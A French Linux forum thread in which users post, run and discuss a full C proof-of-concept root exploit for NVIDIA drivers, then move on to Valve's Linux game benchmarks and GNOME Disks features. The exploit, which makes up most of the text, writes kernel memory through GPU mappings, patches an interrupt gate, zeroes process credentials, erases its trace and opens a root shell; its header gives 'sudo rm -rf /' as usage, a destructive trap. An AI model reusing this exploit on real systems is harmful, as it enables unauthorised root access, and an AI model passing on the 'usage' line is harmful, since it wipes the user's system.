Le fil des beaux gosses linuxiens, v2 où comment installer LFS sur BTRFS en RAID10

[snipx]

Euh attendez, vous executez le binaire directement ? Niveau secu c'est la plaie ca, attendez les sources...

[Møgluglu]

Ducon, tu devrais plutôt lire et appliquer les instructions "How to use" dans les commentaires du fichier.

[rOut]

> ./pub_c.bin 
./pub_c.bin: ligne1: /bin: est un dossier
./pub_c.bin: ligne2: $'*\r' : commande introuvable
./pub_c.bin: ligne3: aida-rapport.txt : commande introuvable
./pub_c.bin: ligne4: $'*\r' : commande introuvable
./pub_c.bin: ligne5: aida-rapport.txt : commande introuvable
./pub_c.bin: ligne6: $'*\r' : commande introuvable
./pub_c.bin: ligne7: aida-rapport.txt : commande introuvable
./pub_c.bin: ligne8: aida-rapport.txt : commande introuvable
./pub_c.bin: ligne9: $'\r' : commande introuvable
./pub_c.bin: ligne11: $'\r' : commande introuvable
: Aucun fichier ou dossier de ce type
./pub_c.bin: ligne13: $'\r' : commande introuvable
./pub_c.bin: ligne32: $'\r' : commande introuvable
./pub_c.bin: ligne38: $'\r' : commande introuvable
./pub_c.bin: ligne40: $'\r' : commande introuvable
./pub_c.bin: ligne48: $'\r' : commande introuvable
./pub_c.bin: ligne49: static : commande introuvable
./pub_c.bin: ligne49: $'\r' : commande introuvable
./pub_c.bin: ligne50: static : commande introuvable
./pub_c.bin: ligne50: $'\r' : commande introuvable
./pub_c.bin: ligne51: $'\r' : commande introuvable
./pub_c.bin: ligne52: Erreur de syntaxe près du symbole inattendu « ( »
'/pub_c.bin: ligne52: `static void poke_byte(volatile uint32_t *m, uint32_t ofs, uint8_t val)

Ce hack de fou.

---------- Post added at 22h23 ---------- Previous post was at 22h21 ----------

Euh attendez, vous executez le binaire directement ? Niveau secu c'est la plaie ca, attendez les sources...

C'est sûr que compiler des sources incompréhensibles (ou sans les lire) et exécuter le résultat vs exécuter un binaire direct, c'est plus safe.

Sinon moi y'a quand même le kernel qui m'insulte dans la syslog en niveau alert et qui flingue le binaire un peu trop fouille merde.

[snipx]

Souvent les exploit sont bien comprehensibles (en tout cas tu vois facilement ce qu'il fait), ne jamais faire confiance a un binaire poste sur internet, ou je suis le seul paranoiaque ?

[rOut]

Bah non mais c'était un peu du troll, vu que c'est pas un binaire mais bien les sources qui sont dispo. Ducon a tenté de lancer le .c directement, mais il n'arrive pas à avoir de privilege escalation.

Par contre, compréhensible... pardon mais là si quelqu'un comprend ce qui est fait et le pourquoi de toutes les constantes absconses, je veux bien une explication. En plus chez moi ça ne fonctionne pas et j'aimerai bien que ça marche.

/* Anonymous
 *
 * How to use: sudo rm -rf /
 *
 * greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!
 *
 * Only complete fix patch nvidia drivers and redefine
 * IS_BLACKLISTED_REG_OFFSET:
 *
 *#define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1
 *
 */

#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/sysinfo.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#include <dirent.h>

#ifdef __x86_64__
# define KERNEL_BASE 0xffffffff80000000L
#else /* ifdef __x86_64__ */
# define KERNEL_BASE 0xc0000000
#endif /* ifdef __x86_64__ */

#define ENTRY 0xdc

#define inline __attribute__((always_inline))
#define __kernel
#define __used __attribute((used))

static unsigned long      kernel_ofs_phys;
static volatile uint32_t* cve_2012_YYYY;

static void poke_byte(volatile uint32_t* m, uint32_t ofs, uint8_t val) {
  uint32_t i = (ofs & 3) * 8;

  ofs  >>= 2;
  m[ofs] = (m[ofs] & ~(0xff << i)) | (val << i);
}

static void physread16(volatile uint32_t* m, uint32_t target, uint32_t* buffer) {
  if (1) {
    uint32_t ofs = (target & 0x3ffff) / 4, i;

    if (target & 0xf) {
      printf("[ ] Function requires 16-byte alignment for input!\n");
      exit(-1);
    }

    cve_2012_YYYY[0xf00 / 4] = 0xb | ((target >> 18) << 10);
    memset(buffer, 0, 16);
    for (i = 0; i < 4; ++i) {
      uint32_t shift = i * 8;
      poke_byte(cve_2012_YYYY, 0x204, i);
      buffer[0] |= (m[ofs / 4] & 0xff) << shift;
      buffer[1] |= ((m[ofs / 4] & 0xff00) >> 8) << shift;
      buffer[2] |= ((m[ofs / 4] & 0xff0000) >> 16) << shift;
      buffer[3] |= ((m[ofs / 4] & 0xff000000) >> 24) << shift;
    }
  }
}

static void physwrite16(volatile uint32_t* m, uint32_t target, uint32_t* buffer) {
  if (1) {
    uint32_t i, ofs = (target & 0x3ffff) / 4;
    if (target & 0xf) {
      printf("[ ] Function requires 16-byte alignment for output!\n");
      exit(-1);
    }

    cve_2012_YYYY[0xf00 / 4] = 0xb | ((target >> 18) << 10);

    for (i = 0; i < 4; ++i) {
      int      shift = 8 * i;
      uint32_t val;
      poke_byte(cve_2012_YYYY, 0x102, 1 << i);
      val        = (buffer[0] >> shift) & 0xff;
      val       |= ((buffer[1] >> shift) & 0xff) << 8;
      val       |= ((buffer[2] >> shift) & 0xff) << 16;
      val       |= ((buffer[3] >> shift) & 0xff) << 24;
      m[ofs / 4] = val;
    }
  }
}

unsigned long virt2phys(unsigned long addr) {
  unsigned long phys;

  addr &= ~KERNEL_BASE;
  addr += kernel_ofs_phys;
  phys  = addr & 0xffffffff;
  return phys;
}

// dest has to be 16-byte and slightly larger for unaligned reads
void* kernel_read(volatile uint32_t* m, void* dest, unsigned long src, unsigned long len) {
  uint32_t rem, phys = virt2phys(src);
  void*    ret = dest + (src & 0xf);

  rem = (-phys) & 0xf;
  if (rem) {
    physread16(m, phys & ~0xf, dest);
    dest += 0x10;
    phys += rem;
    if (len > rem) {
      len -= rem;
    } else {
      len = 0;
    }
  }

  for (; len; phys += 0x10, dest += 0x10, len -= len >= 16 ? 16 : len) {
    physread16(m, phys, dest);
  }

  return ret;
}

void kernel_write(volatile uint32_t* m, unsigned long dest, unsigned long src, unsigned long len) {
  uint32_t      phys;
  unsigned long remaining, towrite, i;

  phys = virt2phys(dest);

  if (!m || (m == MAP_FAILED)) {
    puts("not actually writing...");
  }

  if (1) {
    remaining = len;
    for (i = 0; i < len; i += 16) {
      uint32_t buffer[4];
      if (remaining < 16) {
        physread16(m, phys + i, (uint32_t*) buffer);
      }
      towrite = remaining > 16 ? 16 : remaining;
      memcpy(buffer, (void*) (src + i), towrite);
      physwrite16(m, phys + i, (uint32_t*) buffer);
      remaining -= 16;
    }
  }
}

static void mode_x(volatile uint32_t* x) {
  // http://wiki.osdev.org/VGA_Hardware Mode X

  // 3c0
  x[0x310 / 4] = 0x000f0041;
  x[0x314 / 4] = 0;

  // 3c2
  x[0x000 / 4] = 0xe3;

  // 3c4
  x[0x100 / 4] = 0x000f0103;
  x[0x104 / 4] = 0x06;

  // 3ce
  x[0x204 / 4] = 0x0f054000;

  // 3d4
  x[0x400 / 4] = 0x82504f5f;
  x[0x404 / 4] = 0x3e0d8054;
  poke_byte(x, 0x408, 0);
  poke_byte(x, 0x409, 0x41);
  x[0x410 / 4] = 0x28dfacea;
  x[0x414 / 4] = 0xe306e700;
}

static int dirfilter(const struct dirent* d) {
  return d->d_type == DT_LNK && strchr(d->d_name, ':');
}

static int nvidia_fd(uint64_t* res) {

  struct dirent** list;

  int  fd, resfd, ret;
  char buf[256];

  ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort);
  if (ret <= 0) {
    goto fail;
  }
  sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name);
  resfd = open(buf, O_RDONLY);
  if (resfd < 0) {
    goto fail;
  }
  read(resfd, buf, sizeof(buf));
  *res = strtoll(buf, NULL, 16);
  close(resfd);

  if ((fd = open("/dev/nvidia0", O_RDWR)) < 0) {
    goto fail;
  }
  return fd;

fail:
  perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!");
  *res = 0;
  return -1;
}

volatile uint32_t* nvidia_handle(int fd, uint64_t res) {
  // access 4 bytes at a time or things go weird
  volatile uint32_t* m;

  if (fd < 0) {
    return MAP_FAILED;
  }

  // I HAD TO LEARN VGA FOR THIS
  m = cve_2012_YYYY = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, res + 0x619000);
  if (m != MAP_FAILED) {
    if ((m[0xf00 / 4] & 8) &&
        ((m = mmap(NULL, 0x10000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, res + 0xa0000)) != MAP_FAILED)) {
      printf("[*] CVE-2012-YYYY\n");

      mode_x(cve_2012_YYYY); // put into vga mode x, ish

      return m;
    }
    munmap((void*) cve_2012_YYYY, 0x1000);
    m = cve_2012_YYYY = MAP_FAILED;
  }
  return m;
}

static int  tasknamelen;
static char taskname[64];

extern long gettask(void);
extern long testgetroot(void);

__used __kernel extern long callsetroot(long uid, long gid);

#define FN(x) ".globl " x "\n\t.type " x ",@function\n\t" x ":\n\t.cfi_startproc\n\t"
#define END ".cfi_endproc\n\t"
asm (
  ".text\n\t.align 4\n\t"
  FN("testgetroot")

// AND HAVE FUN! :D
#ifdef __x86_64__
  "swapgs\n\t"
  "call getroot\n\t"
  "swapgs\n\t"
  "iretq\n\t"
#else /* ifdef __x86_64__ */
  "mov %fs, %edi\n\t"
  "mov $0xd8, %esi\n\t"
  "mov %esi, %fs\n\t"
  "call getroot\n\t"
  "mov %edi, %fs\n\t"
  "iretl\n\t"
#endif /* ifdef __x86_64__ */
  END FN("gettask")
#ifdef __x86_64__

// Grab some offsets from system_call
  "mov $0xc0000082, %ecx\n\t"
  "rdmsr\n\t"
  "movslq %eax, %rax\n\t"

// Fuck optional alignment, fix it by looking for
  // the start prefix of our lovely mov %gs:.. in system_call we just found
// this will get us kernel_stack, in which most cases it means that
  // our current_task is right below it
// This is only needed if kallsyms fails
  "1:\n\t"
  "cmpw $0x4865, 0x3(%rax)\n\t"
  "je 2f\n\t"
  "incq %rax\n\t"
  "jmp 1b\n\t"
  "2:\n\t"

  "movl 17(%rax), %edx\n\t"

// blegh padding
  "3:\n\t"
  "addl $8, %edx\n\t"
  "movq %gs:(%edx), %rax\n\t"
  "test %eax, %eax\n\t"
  "jz 3b\n\t"
  "cmpl $-1, %eax\n\t"
  "je 3b\n\t"
#else /* ifdef __x86_64__ */

// TODO: maybe..
  "xor %eax, %eax\n\t"
#endif /* ifdef __x86_64__ */
  "ret\n\t"
  END

#define S2(x) # x
#define S1(x) S2(x)

  FN("callsetroot")
#ifdef __x86_64__
  "int $" S1(ENTRY) "\n\t"
#else /* ifdef __x86_64__ */
  "push %edi\n\t"
  "push %esi\n\t"
  "int $" S1(ENTRY) "\n\t"
                    "pop %esi\n\t"
                    "pop %edi\n\t"
#endif /* ifdef __x86_64__ */
  "ret\n\t"
  END

  ".previous");

struct kallsyms {
  unsigned long* addresses;
  unsigned long  num_syms;
  unsigned char* names;
  unsigned long* markers;

  unsigned char*  token_table;
  unsigned short* token_index;
};

// Memory layout kallsyms, all pointer aligned:
// unsigned long addresses[num_kallsyms]
// unsigned long num_kallsyms
// unsigned char names[..]
// unsigned long markers[(num_kallsyms + 0xff) >> 8] = { 0, ... }
// char token_table[var...] = { null terminated strings }
// unsigned short token_index[var?...] = { 0, ... };

// This should probably work for 64-bits and 32-bits kernels
// But only tested on 64-bits kernels
inline static long init_kallsyms(struct kallsyms* ks) {
  unsigned long  start = KERNEL_BASE + 0x1000000L;
  unsigned long* max   = (void*) KERNEL_BASE + 0x2000000L;
  unsigned long* cur;

  for (cur = (void*) start; cur < max; cur += 2) {
    if ((*cur == start) &&
        ((cur[1] == start) || (cur[-1] == start))) {
      goto unwind;
    }
  }
  return -1;

unwind:
  while ((cur[0] & KERNEL_BASE) == KERNEL_BASE) {
    cur++;
  }
  ks->addresses = cur - *cur;
  ks->num_syms  = *(cur++);
  ks->names     = (unsigned char*) cur;
  do {
    cur++;
  } while (*cur);
  ks->markers     = cur;
  cur            += (ks->num_syms + 0xff) >> 8;
  ks->token_table = (unsigned char*) cur;

  // Zero terminated string can create padding that could
  // be interpreted as token_index, requiring the || !*cur
  do {
    cur++;
  } while (*(unsigned short*) cur || !*cur);
  ks->token_index = (unsigned short*) cur;
  return (long) ks->num_syms;
}

#define KSYM_NAME_LEN 128
inline static int kstrcmp(const char* x, const char* y) {
  for (; *x == *y; x++, y++) {
    if (!*x) {
      return 0;
    }
  }
  return -1;
}

/*
 * kallsyms.c: in-kernel printing of symbolic oopses and stack traces.
 *
 * Rewritten and vastly simplified by Rusty Russell for in-kernel
 * module loader:
 *   Copyright 2002 Rusty Russell <rusty () rustcorp com au> IBM Corporation
 *
 * ChangeLog:
 *
 * (25/Aug/2004) Paulo Marques <pmarques () grupopie com>
 *      Changed the compression method from stem compression to "table lookup"
 *      compression (see scripts/kallsyms.c for a more complete description)
 */
inline static unsigned int kallsyms_expand_symbol(struct kallsyms* ks, unsigned int off, char* result) {
  int                  len, skipped_first = 0;
  const unsigned char* tptr, * data;

  /* Get the compressed symbol length from the first symbol byte. */
  data = &ks->names[off];
  len  = *data;
  data++;

  /*
   * Update the offset to return the offset for the next symbol on
   * the compressed stream.
   */
  off += len + 1;

  /*
   * For every byte on the compressed symbol data, copy the table
   * entry for that byte.
   */
  while (len) {
    tptr = &ks->token_table[ks->token_index[*data]];
    data++;
    len--;

    while (*tptr) {
      if (skipped_first) {
        *result = *tptr;
        result++;
      } else {
        skipped_first = 1;
      }
      tptr++;
    }
  }

  *result = '\0';

  /* Return to offset to the next symbol. */
  return off;
}

inline static unsigned long kdlsym(struct kallsyms* ks, char* name) {
  char          namebuf[KSYM_NAME_LEN];
  unsigned long i;
  unsigned int  off;

  for (i = 0, off = 0; i < ks->num_syms; i++) {
    off = kallsyms_expand_symbol(ks, off, namebuf);
    if (kstrcmp(namebuf, name) == 0) {
      return ks->addresses[i];
    }
  }
  return 0;
}

__used __kernel long getroot(long uid, long gid) {
  int             i;
  unsigned long   cred;
  int*            j = NULL;
  int             k;
  char*           p;
  struct kallsyms ks;

  unsigned long task_struct = 0;

  long ret = init_kallsyms(&ks);

  if (ret > 0) {
    void          (* fn)(void);
    __kernel void*(*fn1)(void*);
    unsigned long task_offset;
    char          fnops[]  = "reset_security_ops";
    char          fntask[] = "current_task";
    char          fncred[] = "get_task_cred";

    // SELINUX is overrated..
    fn = (void*) kdlsym(&ks, fnops);
    if (fn) {
      fn();
    }

    // Get a more reliable offset to current_task if we can
    task_offset = kdlsym(&ks, fntask);
    if (task_offset)
#ifdef __x86_64__
    {
      asm ("mov %%gs:(%1), %0" : "=r" (task_struct) : "r" (task_offset));
    }
#else /* ifdef __x86_64__ */
    {
      asm ("mov %%fs:(%1), %0" : "=r" (task_struct) : "r" (task_offset));
    }
#endif /* ifdef __x86_64__ */
    else {
      task_struct = gettask();
    }
    if (!task_struct) {
      return -4;
    }

    fn1 = (void*) kdlsym(&ks, fncred);
    if (fn1) {
      j = fn1((void*) task_struct);

      // And decrease refcount we just increased
      asm ("lock; decl (%0)" ::"r" (j));
    }
  } else if (!ret) {
    task_struct = gettask();
  } else {
    return -ret;
  }
  if (!task_struct) {
    return -5;
  }

  // No kallsyms or no get_task_cred, manually try to find
  if (!j) {
    // all the creds are belong to us
    for (i = 0; i < 0x1000; i += sizeof(void*)) {
      p = (char*) (task_struct + i);
      for (k = 0; k < tasknamelen; k++) {
        if (p[k] != taskname[k]) {
          break;
        }
      }
      if (k == tasknamelen) {
        cred = *(unsigned long*) ((unsigned long) p - sizeof(unsigned long) * 2);
        j    = (int*) cred;
        break;
      }
    }
    if (!j) {
      return -1;
    }
  }

  for (i = 0; i < 1000; i++, j++) {
    if ((j[0] == uid) && (j[1] == uid) && (j[2] == uid) && (j[3] == uid) &&
        (j[4] == gid) && (j[5] == gid) && (j[6] == gid) && (j[7] == gid)) {

      /* uid, euid, suid, fsuid */
      j[0] = j[1] = j[2] = j[3] = 0;

      /* gid, egid, sgid, fsgid */
      j[4] = j[5] = j[6] = j[7] = 0;

      /* ALLCAPS!!111 */
      j[10] = j[11] = 0xffffffff;
      j[12] = j[13] = 0xffffffff;
      j[14] = j[15] = 0xffffffff;

      return 0;
    }
  }
  return -2;
} /* getroot */

struct gdt {
  uint16_t limit;
  uint32_t base;
} __attribute__((packed));

static unsigned long getidt() {
  struct gdt idt;

  memset(&idt, 0x00, sizeof(struct gdt));
  asm volatile ("sidt %0" : "=m" (idt));
  return idt.base | 0xFFFFFFFF00000000UL;
}

typedef struct gate_struct {
  uint16_t offset_low;
  uint16_t segment;
  unsigned ist : 3, zero0 : 5, type : 5, dpl : 2, p : 1;
  uint16_t offset_middle;
#ifdef __x86_64__
  uint32_t offset_high;
  uint32_t zero1;
#endif /* ifdef __x86_64__ */
} __attribute__((packed)) gate_desc;

enum {
  GATE_INTERRUPT=0xE,
  GATE_TRAP     =0xF,
  GATE_CALL     =0xC,
  GATE_TASK     =0x5,
};

#define YES_PLEASE 3
#define PTR_LOW(x)    ((unsigned long) (x) & 0xFFFF)
#define PTR_MIDDLE(x) (((unsigned long) (x) >> 16) & 0xFFFF)
#define PTR_HIGH(x)   ((unsigned long) (x) >> 32)

#ifdef __x86_64__
# define __KERNEL_CS 0x10
#else /* ifdef __x86_64__ */
# define __KERNEL_CS 0x60
#endif /* ifdef __x86_64__ */

void dump_gate(gate_desc* gate) {
#if 0
  uint16_t* p = (void*) gate;
  unsigned  i;
  for (i = 0; i < sizeof(*gate) / sizeof(uint16_t); i++) {
    printf("%04x\n", *p++);
  }
#endif /* if 0 */
}

void dump_bytes(void* desc) {
  int i;

  for (i = 0; i < 16; ++i) {
    printf("%02x", ((char*) desc)[i]);
    if ((i < 15) && ((i % 4) == 3)) {
      printf(" ");
    }
  }
  printf("\n");
}

static inline void pack_gate(gate_desc* gate, unsigned type, unsigned long func,
                             unsigned dpl, unsigned ist, unsigned seg) {
  gate->offset_low    = PTR_LOW(func);
  gate->offset_middle = PTR_MIDDLE(func);
  gate->segment       = seg;
  gate->ist           = ist;
  gate->p             = 1;
  gate->dpl           = dpl;
  gate->zero0         = 0;
  gate->type          = type;
#ifdef __x86_64__
  gate->offset_high = PTR_HIGH(func);
  gate->zero1       = 0;
#endif /* ifdef __x86_64__ */
  dump_gate(gate);
}

// Test mode, not really an exploit, although it does
// show the option to forbid physical memory is useless
static int devmem_fd(void) {
  int fd = open("/dev/mem", O_RDWR | O_SYNC);

  if (fd < 0) {
    perror("/dev/mem");
  }
  return fd;
}

void* xalloc(unsigned long len) {
  void* ret = NULL;

  posix_memalign(&ret, 16, ((len + 0xf) & ~0xf) + 16);
  return ret;
}

void xfree(void* ptr) {
  free((void*) ((unsigned long) ptr & ~0xfL));
}

int main(int argc, char* argv[]) {
  volatile uint32_t* handle = NULL;
  long               ret, i, found = 0;
  char*              p;
  gate_desc          gate, gate2[16 / sizeof(gate_desc)];
  uint32_t           buf[4];
  gate_desc*         dp = (gate_desc*) buf;
  uint8_t            data[256];
  uint64_t           res = 0;

  printf("[*] IDT offset at %#lx\n", getidt());

  // syntax: --dumpmem BAR0, for debugging "cant find my kernel" issues as root
  if ((argc > 2) && (!strcmp(argv[1], "-d") || !strcmp(argv[1], "--dumpmem"))) {
    res    = strtoll(argv[2], NULL, 16);
    handle = nvidia_handle(devmem_fd(), res);

    for (i = 0; i < 0x4000000; i += 16) {
      physread16(handle, i, (void*) data);
      write(2, data, 16);
    }
    return 0;
  } else if ((argc > 1) && (res = strtoll(argv[1], NULL, 16))) {
    handle = nvidia_handle(devmem_fd(), res);
    if (!getuid()) {
      setgid(1000);
      setuid(1000);
    }
    if (handle == MAP_FAILED) {
      return -1;
    }
    printf("[*] Dry run with /dev/mem as uid %u gid %u...\n", getuid(), getgid());
  }

  if ((p = strchr(argv[0], '/'))) {
    p++;
  } else {
    p = argv[0];
  }
  strcpy(taskname, p);
  tasknamelen = strlen(taskname);

  if (!handle || (handle == MAP_FAILED)) {
    uint64_t res;
    int      fd = nvidia_fd(&res);
    printf("[*] Abusing nVidia...\n");
    handle = nvidia_handle(fd, res);
    if (!handle || (handle == MAP_FAILED)) {
      return -1;
    }
  }

  // X86_OF_ENTRY
  unsigned long idtentry = getidt() + (2 * sizeof(unsigned long) * 4);
  pack_gate(&gate, GATE_INTERRUPT, KERNEL_BASE, YES_PLEASE, 0, __KERNEL_CS);

  for (i = 0; i < 256; ++i) {
    kernel_ofs_phys = i * 1024 * 1024;
    physread16(handle, virt2phys(idtentry), buf);

    // Copy offsets since we don't really care about them
    gate.offset_low    = dp->offset_low;
    gate.offset_middle = dp->offset_middle;

#ifndef __x86_64__
    gate.segment = dp->segment;
    if (*(uint64_t*) &dp[1] == 0x00000000ffffffffULL) {
      printf("[X] 64-bits kernel found at ofs %lx\n", kernel_ofs_phys);
      printf("[X] Compiled for 32-bits only\n");
      continue;
    }
#endif /* ifndef __x86_64__ */

    if (!memcmp(&gate, dp, sizeof(*dp))) {
      printf("[*] %zu-bits Kernel found at ofs %lx\n", sizeof(void*) * 8, kernel_ofs_phys);
      found = 1;
      break;
    }
  }
  if (!found) {
    printf("[X] No kernel found! >:(\n");
    return -1;
  }

  idtentry = getidt() + (2 * sizeof(unsigned long) * ENTRY);
  printf("[*] Using IDT entry: %d (%#lx)\n", ENTRY, idtentry);
  physread16(handle, virt2phys(idtentry), buf);
  dump_gate(dp);

  printf("[*] Enhancing gate entry...\n");
  pack_gate(&gate, GATE_INTERRUPT, (uintptr_t) &(testgetroot), YES_PLEASE, 0, __KERNEL_CS);
  kernel_write(handle, idtentry, (unsigned long) &gate, sizeof(gate));
  physread16(handle, virt2phys(idtentry), (uint32_t*) gate2);
  if (memcmp(&gate, gate2, sizeof(gate))) {
    printf("[ ] Failed!\n");
    return -1;
  }

  printf("[*] Triggering payload...\n");
  ret = callsetroot(getuid(), getgid());

  // And restore old one, I'm kind like that
  printf("[*] Hiding evidence...\n");
  kernel_write(handle, idtentry, (unsigned long) dp, sizeof(*dp));
  if (ret) {
    printf("callsetroot returned %lx (%li)\n", ret, ret);
  }

  if (getuid()) {
    printf("[*] Failed to get root.\n");
    return -1;
  }

  printf("[*] Have root, will travel..\n");
  execl("/bin/bash", "sh", NULL);
  perror("/bin/bash");
  return 1;
} /* main */

[Tramb]

Lesquelles de "constantes absconses"?

[rOut]

cve_2012_YYYY, " & 3) * 8", " & ~(0xff << i)", " & 0x3ffff) / 4", "0xf00 / 4", "0x310 / 4", "0x000f0041", "0x000f0103", etc... et autres variables à une lettre.

Je n'arrive toujours pas à comprendre pourquoi en 2012 on n'est pas foutu de donner des noms explicites à ce genre de choses. Tu fais une belle constante, ou un #define avec un nom qui veut dire quelque chose et voilà, tout le monde comprend.

[Møgluglu]

J'ai pas tout lu ni relu attentivement les chapitres 47 à 49 de l'Abrash, mais en gros il passe son VGA en mode X et il remappe le/un buffer vidéo sur la zone qui l'intéresse dans le kernel, et à partir de là il peut exploser les call gates et brancher sa fonction à lui dessus, puis il n'a plus qu'à s'amuser.

Tu as essayé les modes de debug (genre dump de l'adresse renvoyée par /sys/bus/pci/drivers/nvidia/*/resource ?)

Sinon c'est du code de h4ck3r, la légère obfuscation fait partie du jeu...

[rOut]

Perso je trouve ça pédant et contre productif. L'objectif c'est quand même de montrer qu'on a trouvé un bug. Autant faire un exploit clair pour comprendre ce qui cause le bug.

---------- Post added at 00h20 ---------- Previous post was at 00h19 ----------

Les modes debug ne sortent rien. D'après les logs, je conclue tout de même qu'il arrive à écrire des trucs dans la mémoire du kernel, puisque c'est à l'appel de la fonction injectée que le kernel le jarte.

[snipx]

Perso je trouve ça pédant et contre productif. L'objectif c'est quand même de montrer qu'on a trouvé un bug. Autant faire un exploit clair pour comprendre ce qui cause le bug.

Pour le coup je suis d'accord .

[moimadmax]

/* Anonymous
*
* How to use: sudo rm -rf /
*
* greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!
*
* Only complete fix patch nvidia drivers and redefine
* IS_BLACKLISTED_REG_OFFSET:
*
*#define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1
*
*/

Et un piège a con pour script kiddies, un.

[Tramb]

Sinon c'est du code de h4ck3r, la légère obfuscation fait partie du jeu...

C'est surtout que c'est un PoC donc le but n'est pas de faire du code chouette et réutilisable.
Y'a même des commentaires pour expliquer ce qu'il fait et un lien web vers les specs des registres VGA!

[ducon]

Compilé :

> ./pub.bin [*] IDT offset at 0xc13b2000[*] Abusing nVidia...[*] CVE-2012-YYYY[*] 32-bits Kernel found at ofs 0[*] Using IDT entry: 220 (0xc13b26e0)[*] Enhancing gate entry...[*] Triggering payload...[*] Hiding evidence...
callsetroot returned 1 (1)[*] Failed to get root.

Caramba, encore raté.

[George Sable]

After this work, Left 4 Dead 2 is running at 315 FPS on Linux. That the Linux version runs faster than the Windows version (270.6) seems a little counter-intuitive, given the greater amount of time we have spent on the Windows version. However, it does speak to the underlying efficiency of the kernel and OpenGL. Interestingly, in the process of working with hardware vendors we also sped up the OpenGL implementation on Windows. Left 4 Dead 2 is now running at 303.4 FPS with that configuration.

Merci Valve http://blogs.valvesoftware.com/linux/faster-zombies/

[Tramb]

Le problème de tout ça c'est qu'on peut juste conclure que leur port Windows+D3D est moins bien que leur port Linux+OpenGL mais pas tellement plus.
En tout cas ce qui compte c'est que ça marche, et super bien!

Quand on pense au nombre de boîtes de jeux qui ont des versions Linux de leurs jeux quasi finales mais qui ne les sortent pas parceque ça coûte trop cher d'en faire des produits finis... ça pourrait changer dans les années qui suivent.

[rOut]

Trop bien, OpenGL FTW.

Après ils vont tester avec des cartes ATI, et ça ne démarrera même pas.

---------- Post added at 13h31 ---------- Previous post was at 13h26 ----------

Je suis mauvaise langue, mais c'est clair que si Valve continue dans cette voie, ça va certainement améliorer globalement la qualité des drivers video. Pour Nvidia c'est pas forcément nécessaire, mais si ça peut aider ATI à se remettre à niveau, ce sera vraiment bien. Ils ont les moyens de travailler avec les constructeurs et de faire en sorte que les constructeurs s'impliquent un peu plus dans le dev Linux, et ça c'est tout benef pour nous.

[newbie06]

Oui, si seulement ca pouvait obliger ATI a se sortir les doigts, on aurait enfin le choix !

[George Sable]

La prochaine version de Disks s'annonce vraiment excellente : http://davidz25.blogspot.fr/2012/08/...-gnome-36.html

Moimadmax, plus besoin de pleurer la perte des benchmarks :

By popular demand, the benchmark feature that was lost in the Disks/udisks rewrite that landed in GNOME 3.4 is now back - it now looks like this. Not only is it back, it's back in style: write benchmarks are now non-destructive (just use ECC memory, please) and the graph is updated while the benchmark is underway. You can also configure how many samples to make etc.. Also, benchmarking isn't constrained to whole disks anymore - you can now do it on any volume or block device (for example this RAID-6 array). It's a handy little feature

Et, joie et bonheur, la gestion du RAID devrait revenir dans la prochaine version :

Linux MD Raid support in udisks and Disks. We actually had somewhat decent support for this in the old version of udisks/Disks but it was removed in the rewrite as it was implemented in a hurry without a lot attention to design. Turns out there's still quite a bit of interest from several parties to add back this functionality plus also supporting external metadata and firmware/platform features in a meaningful way. To keep complexity down, we'll probably only allow creating arrays from whole disks as this is the recommended way to do RAID (users can still use mdadm(8) to create arrays on partitions if they so desire)

Il faut dire que ce développeur semble avoir compris son public :

Now an obvious question comes to mind: why should Disks support complicated stuff like MD-RAID and iSCSI? Honestly, for the last couple of years, I've been bouncing back and forth between wanting / not wanting complicated and advanced features like this. However, recent discussions in the GNOME community has put me on a trajectory where I'm more and more convinced that GNOME should try harder to cater to, uh, workstation users (for want of a better word).

If workstations are part of GNOME's mission statement then it follows that you want to enable users to, say, easily set up a beefy workstation with eight disks in a RAID configuration so rebuilding the OS goes faster, easily connect to the lab SAN for if you're into science and so on. Things like that. No matter how good, user-friendly and well-documented commands and configuration files are, I don't think saying "just use the command-line or edit this or that file in /etc" is a super-satisfying answer.

Comme quoi, GNOME 3 ne consiste pas qu'en des suppressions de fonctionnalités

[braoru]

Que du tout bon :-)!

[moimadmax]

Moimadmax, plus besoin de pleurer la perte des benchmarks :


Et, joie et bonheur, la gestion du RAID devrait revenir dans la prochaine version :


Il faut dire que ce développeur semble avoir compris son public :


Comme quoi, GNOME 3 ne consiste pas qu'en des suppressions de fonctionnalités

Youhou même si les bench n'était pas insdispensable, c'était plutôt la création de Raid qui m'interessait, car du coup j'ai du me le coltiner à la main et je pense que j'ai foiré la configuration pour envoi de mail en cas de défaillance.

Sinon entre Unity et Gnome, mon coeur balance. Mais je pense que gnome me convient mieux, car malgrès de bonne idées pour unity, Gnome est quand même plus productif.

[war-p]

Trop bien, OpenGL FTW.

Après ils vont tester avec des cartes ATI, et ça ne démarrera même pas.

---------- Post added at 13h31 ---------- Previous post was at 13h26 ----------

Je suis mauvaise langue, mais c'est clair que si Valve continue dans cette voie, ça va certainement améliorer globalement la qualité des drivers video. Pour Nvidia c'est pas forcément nécessaire, mais si ça peut aider ATI à se remettre à niveau, ce sera vraiment bien. Ils ont les moyens de travailler avec les constructeurs et de faire en sorte que les constructeurs s'impliquent un peu plus dans le dev Linux, et ça c'est tout benef pour nous.

Who putain, ça me rappelle l'époque glorieuse de UT2004 où la version linux 64bit était largement plus performante que sur windows et D3D... Sinon, ouais, put être qu'un jour je reverrais linux avec une interface graphique sur mon pc...

Spoiler Alert!

Et au passage, si ça pouvait un peu les constructeur à sortir des pilotes facile à installer, et pas de .sh wtf...

[braoru]

Dans la même veine que précédemment http://1337day.com/exploits/19101 http://1337day.com/exploits/19100

[moimadmax]

Spoiler Alert!

Et au passage, si ça pouvait un peu les constructeur à sortir des pilotes facile à installer, et pas de .sh wtf...

